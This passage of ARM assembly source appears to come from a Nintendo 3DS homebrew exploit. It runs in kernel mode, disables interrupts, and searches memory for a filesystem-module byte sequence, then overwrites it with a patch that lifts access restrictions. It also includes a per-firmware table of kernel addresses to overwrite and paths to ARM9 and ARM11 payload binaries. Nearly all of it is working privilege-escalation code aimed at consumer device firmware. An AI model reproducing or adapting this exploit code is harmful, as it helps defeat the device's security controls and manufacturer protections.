mcr p15, 0, r0, c7, c8, 0 @ Convert LR of kernelmode_code with low 12-bits of the vaddr, to physaddr. 3609 | 3610 | mrc p15, 0, r0, c7, c4, 0 3611 | mov r3, #1 3612 | tst r0, r3 3613 | beq kernel_vaddr2physaddr_end 3614 | 3615 | ldr r1, =0x4040FE02 @ vaddr->physaddr conversion failure. 3616 | bl fail_thumb 3617 | 3618 | kernel_vaddr2physaddr_end: 3619 | lsr r0, r0, #12 3620 | lsl r0, r0, #12 3621 | pop {r4, pc} 3622 | .pool 3623 | 3624 | .type kernelmode_patchfs_getadr, %function 3625 | kernelmode_patchfs_getadr: 3626 | adr r0, kernelmode_patchfs 3627 | bx lr 3628 | 3629 | .type kernelmode_patchfs, %function 3630 | kernelmode_patchfs: @ Based on code by smea. 3631 | cpsid i @ disable IRQs 3632 | push {r4, r5, r6, lr} 3633 | 3634 | bl kernelmode_getlcdregbase 3635 | mov r6, r0 3636 | ldr r1, =0x204 3637 | add r0, r6, r1 3638 | 3639 | ldr r1, =0x10000FF 3640 | str r1, [r0] @ Set main-screen colorfill reg so that red is displayed. 3641 | 3642 | ldr r3, =0x1FF80002 3643 | ldrb r3, [r3] 3644 | ldr r5, =0xE0000000 3645 | 3646 | cmp r3, #44 3647 | bge kernelmode_patchfs_L0 3648 | 3649 | ldr r5, =0xF0000000 3650 | 3651 | kernelmode_patchfs_L0: 3652 | #ifdef DUMP_AXIWRAM 3653 | ldr r0, =0xDFF80000 3654 | ldr r1, =DUMPMEMGPU_ADR 3655 | ldr r2, =0x80000 3656 | 3657 | kernelmode_patchfs_L0_cpy: 3658 | ldr r3, [r0] 3659 | str r3, [r1] 3660 | add r0, r0, #4 3661 | add r1, r1, #4 3662 | sub r2, r2, #4 3663 | cmp r2, #0 3664 | bgt kernelmode_patchfs_L0_cpy 3665 | #endif 3666 | 3667 | ldr r1, =0x1FF80030 @ APPMEMTYPE 3668 | ldr r1, [r1] 3669 | adr r2, appmemregion_sizetable 3670 | ldr r1, [r2, r1, lsl #2] @ Load the actual APPLICATION memregion size using a table + APPMEMTYPE, since APPMEMALLOC isn't always the actual memregion size. 3671 | 3672 | ldr r3, =0x1FF80040 3673 | ldr r2, [r3, #4] @ SYSMEMALLOC 3674 | ldr r3, [r3, #8] @ BASEMEMALLOC 3675 | 3676 | add r1, r1, r2 @ r1 = offset of BASE mem-region in FCRAM. 3677 | add r3, r3, r1 @ r3 = size of FCRAM(end-offset of BASE mem-region). 3678 | 3679 | add r1, r1, r5 3680 | add r3, r3, r5 3681 | sub r3, r3, #0x10 3682 | mov r0, r1 3683 | mov r1, r3 3684 | adr r2, fsSequence 3685 | 3686 | kernelmode_patchfs_lp: 3687 | ldrh r3, [r0, #0] 3688 | ldrh r4, [r2, #0] 3689 | cmp r3, r4 3690 | bne kernelmode_patchfs_lpnext 3691 | ldrh r3, [r0, #2] 3692 | ldrh r4, [r2, #2] 3693 | cmp r3, r4 3694 | bne kernelmode_patchfs_lpnext 3695 | ldrh r3, [r0, #4] 3696 | ldrh r4, [r2, #4] 3697 | cmp r3, r4 3698 | bne kernelmode_patchfs_lpnext 3699 | ldrh r3, [r0, #6] 3700 | ldrh r4, [r2, #6] 3701 | cmp r3, r4 3702 | bne kernelmode_patchfs_lpnext 3703 | 3704 | b kernelmode_patchfs_lpend 3705 | 3706 | kernelmode_patchfs_lpnext: 3707 | add r0, r0, #2 3708 | cmp r0, r1 3709 | blt kernelmode_patchfs_lp 3710 | 3711 | b kernelmode_patchfs_end 3712 | 3713 | kernelmode_patchfs_lpend: 3714 | adr r1, fspatch 3715 | mov r2, #0x16 3716 | 3717 | kernelmode_patchfs_cpylp: 3718 | ldrh r3, [r1] 3719 | strh r3, [r0] 3720 | add r0, r0, #2 3721 | add r1, r1, #2 3722 | subs r2, r2, #2 3723 | bgt kernelmode_patchfs_cpylp 3724 | 3725 | bl kernelpatchesfinish_cachestuff 3726 | 3727 | ldr r1, =0x204 3728 | add r0, r6, r1 3729 | 3730 | ldr r1, =0x100FF00 3731 | str r1, [r0] @ Set main-screen colorfill reg so that green is displayed. 3732 | 3733 | kernelmode_patchfs_end: 3734 | pop {r4, r5, r6} 3735 | pop {r0} 3736 | mov lr, r0 3737 | //cpsie i @ enable IRQs (don't re-enable IRQs since the svc-handler will just disable IRQs after the SVC returns) 3738 | bx lr 3739 | .pool 3740 | 3741 | .type get_kernelcode_overwriteaddr, %function 3742 | get_kernelcode_overwriteaddr: 3743 | push {r4, lr} 3744 | ldr r4, =0x1FF80002 3745 | ldrb r4, [r4] 3746 | 3747 | ldr r2, =0x1FF80003 3748 | ldrb r2, [r2] 3749 | cmp r2, #2 3750 | blne fail 3751 | 3752 | blx APT_CheckNew3DS 3753 | 3754 | mov r2, #0 3755 | mov r3, r4 3756 | 3757 | ldr r4, =0x1FF80001 3758 | ldrb r4, [r4] 3759 | 3760 | cmp r0, #0 3761 | beq get_kernelcode_overwriteaddr_old3ds 3762 | 3763 | @ New3DS: 3764 | cmp r3, #45 3765 | ldreq r2, =0xDFF82264 @ v8.1 3766 | cmp r3, #46 3767 | ldreq r2, =0xDFF82260 @ v9.0 3768 | 3769 | b get_kernelcode_overwriteaddr_end 3770 | 3771 | get_kernelcode_overwriteaddr_old3ds: 3772 | cmp r3, #35 @ FW25 3773 | cmpne r3, #39 @ FW2E 3774 | ldreq r2, =0xEFF822A8 @ FW25/FW2E 3775 | cmp r3, #36 @ FW26 3776 | cmpne r3, #37 @ FW29 3777 | cmpne r3, #38 @ FW2A 3778 | cmpne r3, #40 @ FW30 3779 | ldreq r2, =0xEFF822A4 @ FW26/FW29/FW2A/FW30 3780 | 3781 | cmp r3, #46 3782 | ldreq r2, =0xDFF82290 @ FW38 3783 | cmp r3, #44 3784 | ldreq r2, =0xDFF82294 @ FW37 3785 | cmp r3, #34 3786 | ldreq r2, =0xEFF827cc @ FW1F 3787 | cmp r3, #33 3788 | ldreq r2, =0xEFF827d0 @ FW1D 3789 | cmp r3, #32 3790 | ldreq r2, =0xEFF8256c @ FW18 3791 | cmp r3, #31 3792 | ldreq r2, =0xEFF88928 @ FW0F 3793 | cmp r3, #30 3794 | ldreq r2, =0xEFF882c8 @ FW0B 3795 | cmp r3, #29 3796 | ldreq r2, =0xEFF882d4 @ FW09 3797 | cmp r3, #28 3798 | ldreq r2, =0xEFF88534 @ FW02 3799 | cmp r3, #27 3800 | ldreq r2, =0xEFF884b8 @ FW00 3801 | 3802 | get_kernelcode_overwriteaddr_end: 3803 | mov r0, r2 3804 | pop {r4, pc} 3805 | .pool 3806 | 3807 | .type get_srv_portname, %function 3808 | get_srv_portname: 3809 | adr r0, srv_portname 3810 | bx lr 3811 | 3812 | .type get_aptu_servname, %function 3813 | get_aptu_servname: 3814 | adr r0, aptu_servname 3815 | bx lr 3816 | 3817 | .type get_apta_servname, %function 3818 | get_apta_servname: 3819 | adr r0, apta_servname 3820 | bx lr 3821 | 3822 | .type get_fsuser_servname, %function 3823 | get_fsuser_servname: 3824 | adr r0, fsuser_servname 3825 | bx lr 3826 | 3827 | .type get_gspgpu_servname, %function 3828 | get_gspgpu_servname: 3829 | adr r0, gspgpu_servname 3830 | bx lr 3831 | 3832 | #ifndef DISABLE_EXITLAUNCHTITLE_TYPE1 3833 | .type get_cfgu_servname, %function 3834 | get_cfgu_servname: 3835 | adr r0, cfgu_servname 3836 | bx lr 3837 | 3838 | .type getadr_camappletuniqueids, %function 3839 | getadr_camappletuniqueids: 3840 | adr r0, camapplet_uniqueids 3841 | bx lr 3842 | #endif 3843 | 3844 | appmemregion_sizetable_getadr: 3845 | adr r0, appmemregion_sizetable 3846 | bx lr 3847 | 3848 | getaddr_arm9codebin_filepath: 3849 | adr r0, arm9_codebin_filepath 3850 | adr r1, arm9_codebin_filepath_end 3851 | sub r1, r1, r0 3852 | bx lr 3853 | 3854 | getaddr_arm11codebin_filepath: 3855 | adr r0, arm11_codebin_filepath 3856 | adr r1, arm11_codebin_filepath_end 3857 | sub r1, r1, r0 3858 | bx lr 3859 | 3860 | getaddr_arm11memdump_filepath: 3861 | adr r0, arm11_memdump_filepath 3862 | adr r1, arm11_memdump_filepath_end 3863 | sub r1, r1, r0 3864 | bx lr 3865 | 3866 | /*nss_servname: 3867 | .ascii "ns:s" 3868 | .align 2*/ 3869 | 3870 | srv_portname: 3871 | .string "srv:" 3872 | .align 2 3873 | 3874 | fsuser_servname: 3875 | .string "fs:USER" 3876 | .align 2 3877 | 3878 | aptu_servname: 3879 | .string "APT:U" 3880 | .align 2 3881 | 3882 | apta_servname: 3883 | .string "APT:A" 3884 | .align 2 3885 | 3886 | #ifndef DISABLE_EXITLAUNCHTITLE_TYPE1 3887 | cfgu_servname: 3888 | .string "cfg:u" 3889 | .align 2 3890 | #endif 3891 | 3892 | gspgpu_servname: 3893 | .string "gsp::Gpu" 3894 | .align 2 3895 | 3896 | arm9_codebin_filepath: 3897 | .string16 "/3dshax_arm9.bin" 3898 | .align 2 3899 | arm9_codebin_filepath_end: 3900 | 3901 | arm11_codebin_filepath: 3902 | .string16 "/3dshax_payload_arm11.bin" 3903 | .align 2 3904 | arm11_codebin_filepath_end: 3905 | 3906 | arm11_memdump_filepath: 3907 | .string16 "/3dshax_memdump.bin" 3908 | .align 2 3909 | arm11_memdump_filepath_end: 3910 | 3911 | fsSequence: @ This and fspatch is based on code from smea. 3912 | .hword 0x9909, 0x2220, 0x4668, 0x3118 3913 | 3914 | .thumb 3915 | fspatch: 3916 | mov r0, #0xFF 3917 | str r0, [r5, #0x1C] 3918 | str r0, [r5, #0x18] 3919 | mov r0, #0 3920 | mov r1, #0 3921 | stmia r5!, {r0, r1} 3922 | stmia r5!, {r0, r1} 3923 | stmia r5!, {r0, r1} 3924 | nop 3925 | nop 3926 | nop 3927 | 3928 | .align 2 3929 | 3930 | #ifndef DISABLE_EXITLAUNCHTITLE_TYPE1 3931 | camapplet_uniqueids: @ uniqueID portion of the titleID for the camera applet, for each region. 3932 | .byte 0x84, 0x90, 0x99, 0x84, 0xa2, 0xaa, 0xb2 3933 | .align 2 3934 | #endif 3935 | 3936 | appmemregion_sizetable: 3937 | .word 0x04000000, 0, 0x06000000, 0x05000000, 0x04800000, 0x02000000, 0x07C00000, 0x0B200000 3938 | --------------------------------------------------------------------------------